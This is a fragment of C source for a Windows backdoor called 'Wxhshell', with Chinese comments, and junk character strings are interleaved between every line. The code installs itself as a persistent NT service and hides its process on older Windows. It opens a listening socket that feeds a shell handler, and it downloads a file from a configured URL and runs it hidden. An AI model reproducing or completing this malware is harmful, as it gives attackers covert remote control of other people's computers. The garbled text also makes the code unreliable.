n^ /!=U+X HANDLE hProcess; *wC\w PROCESS_BASIC_INFORMATION pbi; /"""z=q 2J;kD2"! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tYs8)\{ if(NULL == hInst ) return 0; .P)s4rQ\ t_jyyHxoZ: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N[qA2+e$Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vG ]GQ# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x37/cu s0cs'Rg if (!NtQueryInformationProcess) return 0; nJFk4v4:2 LH=d[3Y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |7 &|> if(!hProcess) return 0; u64@"P EKZA5J7kn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !1a}| !Zn X=v~^8M7% CloseHandle(hProcess); z)4UMR#b& )]%e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (VgNb&Yo9 if(hProcess==NULL) return 0; 7:n?PN(p6a In
f9wq\ HMODULE hMod; `6&`wKz char procName[255]; ]\A1mw-T unsigned long cbNeeded; _
XE;-weE WgE@8 9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fO K|: sffhPX\I CloseHandle(hProcess); RX:R*{]- -Q6(+(7_| if(strstr(procName,"services")) return 1; // 以服务启动 9Ei5z6Vk/+ `9/0J-7* return 0; // 注册表启动 oP/>ju } :<L5sp ^6Yd} // 主模块 6\NvG,8 int StartWxhshell(LPSTR lpCmdLine) -*?p F_*w { swttp` SOCKET wsl; ]k[x9,IU\y BOOL val=TRUE; E W`W~h[ int port=0; jDR')ascn struct sockaddr_in door; F8;mYuA
6DB0ni if(wscfg.ws_autoins) Install(); d$w(-tV42 C
8N%X2R port=atoi(lpCmdLine); C1b*v&1{ z.
'Fv7 if(port<=0) port=wscfg.ws_port; tl|ijR w4UD/zO WSADATA data; >w9sE8i if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;_}~%-_
~ KYp[Gs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iQqqs`K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tww=~! door.sin_family = AF_INET; alFNSRY door.sin_addr.s_addr = inet_addr("127.0.0.1"); le.anJAr door.sin_port = htons(port); :vpl+)n xA92C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H( vx/q closesocket(wsl); C,fY.CeI return 1; *ot>WVB } FH.f- ZU sm0fAL if(listen(wsl,2) == INVALID_SOCKET) { E>E*ZZuhj closesocket(wsl); P$g^vS+ return 1; /jM_mrpz } i0>]CJG Wxhshell(wsl); ?ty>}.c t WSACleanup(); >z(wf>2J 'r\ 4}Ik return 0; 1w`2Dt LT/mb2 } J96uyS* :_v!#H) // 以NT服务方式启动 @OzMiN VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6hO-H&r++ { *Ddi(` DWORD status = 0; [
7g>< DWORD specificError = 0xfffffff; \/ErPi=g eIH$"f;L serviceStatus.dwServiceType = SERVICE_WIN32; 6#U^<` serviceStatus.dwCurrentState = SERVICE_START_PENDING; /'ZKS T4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZWS2q4/S serviceStatus.dwWin32ExitCode = 0; 802H$P^ps serviceStatus.dwServiceSpecificExitCode = 0; V C-d0E0 serviceStatus.dwCheckPoint = 0; kO1}?dWpa serviceStatus.dwWaitHint = 0; Us]=Y}( M diwRi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b?8)7.{F{ if (hServiceStatusHandle==0) return; 4ZwKpQ6 \w%@?Qik status = GetLastError(); "N 3)Qr if (status!=NO_ERROR) <`)iA-Df;9 { L_Q S0_1 serviceStatus.dwCurrentState = SERVICE_STOPPED; (!3;X"l serviceStatus.dwCheckPoint = 0; Hkege5{ serviceStatus.dwWaitHint = 0; -}P7$|O& serviceStatus.dwWin32ExitCode = status; ]W/>Ldv serviceStatus.dwServiceSpecificExitCode = specificError; 9gy(IRGq/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); le8 #Z}p return; L0L2Ns } FQk!d$BG r{_ >ldjq serviceStatus.dwCurrentState = SERVICE_RUNNING; E8ta|D serviceStatus.dwCheckPoint = 0; zU&L.+
serviceStatus.dwWaitHint = 0; Wpr
,jN8b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uR$i48} } .t= BRzfic:e // 处理NT服务事件,比如:启动、停止 0J9D"3T) VOID WINAPI NTServiceHandler(DWORD fdwControl) \vRd} { GSi>l,y' switch(fdwControl) "hQgLG { #$E)b:xj case SERVICE_CONTROL_STOP: [ *>AN7W serviceStatus.dwWin32ExitCode = 0; +.kfU)6@ serviceStatus.dwCurrentState = SERVICE_STOPPED; K\u_Ji]k serviceStatus.dwCheckPoint = 0; PyBD serviceStatus.dwWaitHint = 0; ,6{iT,~@8 { JeCg|@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y`Ib0$ } ]JXKZV8$0 return; [M%._u, case SERVICE_CONTROL_PAUSE: 69OF_/23 serviceStatus.dwCurrentState = SERVICE_PAUSED; ac8P\2{" break; A6!F@Ic[ case SERVICE_CONTROL_CONTINUE: A&"%os serviceStatus.dwCurrentState = SERVICE_RUNNING; H
C0w;MG) break; ?6"{!s{v case SERVICE_CONTROL_INTERROGATE: %\Wf^6Y^ break; -oP'4QVb }; \+ 0k+B4a SetServiceStatus(hServiceStatusHandle, &serviceStatus); R[jEvyD>( } &%mXYj3y5 !RH.|} // 标准应用程序主函数 iM]o"qOQm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !h`kX[: { KzV 2MO-$ *F`A S> // 获取操作系统版本 "@/62b OsIsNt=GetOsVer(); -LW[7s$ GetModuleFileName(NULL,ExeFile,MAX_PATH); g[[;w*;z Ii&7rdoxe // 从命令行安装 t:)ERT") if(strpbrk(lpCmdLine,"iI")) Install(); @t*t+Vqw j Ux
z // 下载执行文件 +>\id~c( if(wscfg.ws_downexe) { MTOy8 Im if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eE@&ze>X WinExec(wscfg.ws_filenam,SW_HIDE); }4//@J?: } g(|{')8?d T~4N+fK if(!OsIsNt) { ~1L:_Sg* // 如果时win9x,隐藏进程并且设置为注册表启动 OLC{iD# HideProc(); &ldBv_ StartWxhshell(lpCmdLine); 8|%^3O 0X } ,|kDsR! else 6#@ f'~s if(StartFromService()) ])}(k // 以服务方式启动 7U|mu~$.! StartServiceCtrlDispatcher(DispatchTable); n$n7-7 else r^,<(pbd // 普通方式启动 x[3A+ StartWxhshell(lpCmdLine); nh>K`+>co \S~Vx!9w return 0; XB59Vm0E= }
|